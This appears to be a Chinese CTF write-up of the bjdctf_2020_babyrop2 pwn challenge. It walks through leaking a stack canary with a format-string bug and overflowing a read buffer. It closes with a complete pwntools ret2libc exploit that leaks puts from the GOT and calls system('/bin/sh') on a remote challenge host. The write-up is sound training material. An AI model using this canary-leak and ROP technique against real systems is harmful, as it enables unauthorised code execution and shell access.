bjdctf_2020_babyrop2 1

1.checksec(检测保护机制)

在这里插入图片描述
64位,开了canary保护

2.ida

将它拖进ida中
在这里插入图片描述
有2个函数,先进入gift函数查看
在这里插入图片描述
该函数关键在于输入(scanf)format和打印(printf)format,而且printf的参数直接是format,明显的格式化字符串漏洞,
再进入vuln函数查看
在这里插入图片描述
在read函数处有明显的栈溢出,因为read函数向buf读入0x64单位,而buf距离ebp有0x20单位,但函数最后返回的函数__readfsqword(0x28u)是检查canary是否改变从而实现canary保护,将该函数反汇查看。
在这里插入图片描述
从0x4008c4开始,将rbp+var_8位置的内容赋给rax寄存器,再将rax寄存器中的值与存储在内存地址fs:28h处的值进行异或操作。如果结果是0(即两者相等),就跳转到locret_4008D8正常执行结束vuln函数。

shift+f12没有发现后门函数,故该题思路为先利用gift函数leak cannary,再通过vuln中的read栈溢出ret2libc。

gdb调试

先通过gdb调试确定gift函数中format对应第几个参数,但因为scanf中是%6s,故不能使用aaaa%x-%x-%x-%x-%x-%x-%x-%x的形式确认参数位置。故要使用下面的形式确定:

aa%i$p

%i$p可以打印出第i个参数的内容,他本身占4个字节,所以可以再往前加两个a,一共6个字节可以输入,这样i从1往后一个一个的试,发现i=6时打印出来的内容为aa0x702436256161
在这里插入图片描述
因为是小端序,逆序存放,两个a对应最后的6161(a的ascall码是0x61),然后%对应0x25…后面依次对应。

查找cannary的位置:
在这里插入图片描述
在xor的位置处下断点
在这里插入图片描述
在这里插入图片描述
rax中的值为0xb81bb24ef1713800,这个值在栈中存放的位置是rsp+8的位置,rsp指向的值为format对应的aaaa,而rax中存放的值是canary的值,故canary的值在format的下一个参数中存放,即canary对应第7个参数。
由上可知在gift函数中可构造payload=b’%7$p’,发送过去可接受到canary的值,接收前先要接收一个0x

接下来要确认vuln函数中buf和canary的位置
在这里插入图片描述
发现buf在rbp-0x20的位置,canary在rbp-0x8的位置

有了这些之后就能按leak printf的got地址构造ret2libc的方式拿到权限了
后面只要在正常构造ROP链的时候将canary处的值覆盖为正确的canary就可以了

exp

from pwn import*
p=remote('node5.buuoj.cn',29842)

elf=ELF('./5')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.sym['main']
vuln=0x400887
rdi_ret=0x400993

payload=b'%7$p'
p.sendline(payload)
p.recvuntil('0x')
canary=int(p.recv(16),16)


payload=b'a'*(0x20-8)+p64(canary)+b'a'*8+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)

p.recvuntil(' u story!\n')
p.sendline(payload)
puts_addr=u64(p.recv(6).ljust(8,b'\x00'))

libc=ELF('./ubantu1664.so')
libcbase=puts_addr-libc.sym['puts']
sys=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))

payload=b'a'*(0x20-8)+p64(canary)+b'a'*8+p64(rdi_ret)+p64(binsh)+p64(sys)+p64(main)
p.sendline(payload)
p.interactive()
  • 32
    点赞
  • 44
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值